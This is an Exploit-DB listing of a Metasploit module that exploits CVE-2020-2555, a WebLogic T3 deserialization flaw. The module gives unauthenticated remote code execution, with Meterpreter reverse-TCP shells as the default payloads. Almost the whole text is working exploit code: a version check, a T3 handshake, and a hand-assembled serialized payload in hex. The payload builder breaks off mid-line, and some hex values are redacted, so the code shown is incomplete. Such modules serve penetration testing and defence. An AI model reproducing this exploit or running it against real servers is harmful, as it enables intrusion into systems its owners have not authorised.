Exploit-DB #48508
Description: WebLogic Server - Deserialization RCE - BadAttributeValueExpException (Metasploit)
Type: remote
Platform: multiple
Date: 2020-05-22
Author: Metasploit

Exploit:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::CmdStager
  include Msf::Exploit::Powershell
  include Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'WebLogic Server Deserialization RCE - BadAttributeValueExpException',
        'Description' => %q{
          There exists a Java object deserialization vulnerability
          in multiple versions of WebLogic.

          Unauthenticated remote code execution can be achieved
          by sending a serialized BadAttributeValueExpException object
          over the T3 protocol to vulnerable WebLogic servers.
        },
        'License' => MSF_LICENSE,
        'Author' =>
        [
          'Jang', # Vuln Discovery
          'Y4er', # PoC
          'Shelby Pace' # Metasploit Module
        ],
        'References' =>
          [
            [ 'CVE', '2020-2555' ],
            [ 'URL', 'https://www.thezdi.com/blog/2020/3/5/cve-2020-2555-rce-through-a-deserialization-bug-in-oracles-weblogic-server' ],
            [ 'URL', 'https://github.com/Y4er/CVE-2020-2555' ]
          ],
        'Platform' => %w[unix linux win],
        'Arch' => [ ARCH_X86, ARCH_X64 ],
        'Privileged'  => false,
        'Targets' =>
          [
            [
              'Windows',
              {
                'Platform' => 'win',
                'Arch' => [ ARCH_X86, ARCH_X64 ],
                'DefaultOptions' => { 'Payload' => 'windows/meterpreter/reverse_tcp' }
              }
            ],
            [
              'Unix',
              {
                'Platform' => %w[unix linux],
                'CmdStagerFlavor' => 'printf',
                'Arch' => [ ARCH_X86, ARCH_X64 ],
                'DefaultOptions' => { 'Payload' => 'linux/x86/meterpreter/reverse_tcp' }
              }
            ],
          ],
        'DisclosureDate' => '2020-01-15',
        'DefaultTarget' => 0
      )
    )

    register_options([ Opt::RPORT(7001) ])
  end

  def check
    connect

    web_req = "GET /console/login/LoginForm.jsp HTTP/1.1\nHost: #{peer}\n\n"
    sock.put(web_req)
    sleep(2)
    res = sock.get_once

    versions = [ Gem::Version.new('12.1.3.0.0'), Gem::Version.new('12.2.1.3.0'), Gem::Version.new('12.2.1.4.0') ]

    return CheckCode::Unknown('Failed to obtain response from service') unless res

    /WebLogic\s+Server\s+Version:\s+(?<version>\d+\.\d+\.\d+\.*\d*\.*\d*)/ =~ res
    return CheckCode::Unknown('Failed to detect WebLogic') unless version

    @version_no = Gem::Version.new(version)
    print_status("WebLogic version detected: #{@version_no}")

    return CheckCode::Appears if versions.include?(@version_no)

    CheckCode::Detected('Version of WebLogic is not vulnerable')
  ensure
    disconnect
  end

  def exploit
    super

    connect
    print_status('Sending handshake...')
    t3_handshake

    if target.name == 'Windows'
      win_obj = cmd_psh_payload(payload.encoded, payload_instance.arch.first, { remove_comspec: true })
      win_obj.prepend('cmd.exe /c ')
      win_obj = build_payload_obj(win_obj)
      t3_send(win_obj)
    else
      execute_cmdstager
    end

  ensure
    disconnect
  end

  def t3_handshake
    # t3 12.2.1\nAS:255
    # \nHL:19\nMS:100000
    # 00\n\n
    shake = '[PII_REDACTED]2e322e310a41533a323535'
    shake << '0a484c3a31390a4d533a[PII_REDACTED]30'
    shake << '30300a0a'

    sock.put([shake].pack('H*'))
    sleep(1)
    sock.get_once
  end

  def build_payload_obj(payload_data)
    payload_obj = 'aced' # STREAM_MAGIC
    payload_obj << '0005' # STREAM_VERSION
    payload_obj << '7372' # TC_OBJECT, TC_CLASSDESC
    payload_obj << '002e' # Class name length: 46
    payload_obj << '6a617661782e6d616e61' # Class name: javax.management.BadAttributeValueExpException
    payload_obj << '67656d656e742e426164'
    payload_obj << '[PII_REDACTED][PII_REDACTED]'
    payload_obj << '616c[PII_REDACTED]457863'
    payload_obj << '657074696f6e'
    payload_obj << 'd4e7daab632d4640' # SerialVersionUID
    payload_obj << '020001' # Serialization flag, field num = 1
    payload_obj << '4c0003' # Field type code: 4c = Object, field name length: 3
    payload_obj << '76616c' # Field name: val
    payload_obj << '740012' # String, length: 18
    payload_obj << '4c6a6176612f6c616e672f4f626a6563743b' # Ljava/lang/Object;
    payload_obj << '7872' # end block data, TC_CLASSDESC
    payload_obj << '0013' # Class name length: 19
    payload_obj << '6a6176612e6c616e672e' # java.lang.Exception
    payload_obj << '[PII_REDACTED]74696f6e'
    payload_obj << 'd0fd1f3e1a3b1cc4' # SerialVersionUID
    payload_obj << '020000' # Serializable, No fields
    payload_obj << '7872' # end block data, TC_CLASSDESC
    payload_obj << '0013' # Class name length: 19
    payload_obj << '6a6176612e6c616e672e' # java.lang.Throwable
    payload_obj << '5468726f7761626c65'
    payload_obj << 'd5c635273977b8cb' # SerialVersionUID
    payload_obj << '030004' # ?, then 4 fields
    payload_obj << '4c0005' # Field type: Object, field name length: 5
    payload_obj << '[PII_REDACTED]' # Field name: cause
    payload_obj << '740015' # String, length: 21
    payload_obj << '4c6a6176612f6c616e67' # Ljava/lang/Throwable;
    payload_obj << '2f5468726f7761626c653b'
    payload_obj << '4c000d' # Field type: Object, field name length: 13
    payload_obj << '[PII_REDACTED]6c4d[PII_REDACTED]65' # Field name: detailMessage
    payload_obj << '740012' # String, length: 18
    payload_obj << '4c6a6176612f6c616e67' # Ljava/lang/String;
    payload_obj << '2f537472696e673b'
    payload_obj << '5b000a' # Field type: 5b = array, field name length: 10
    pay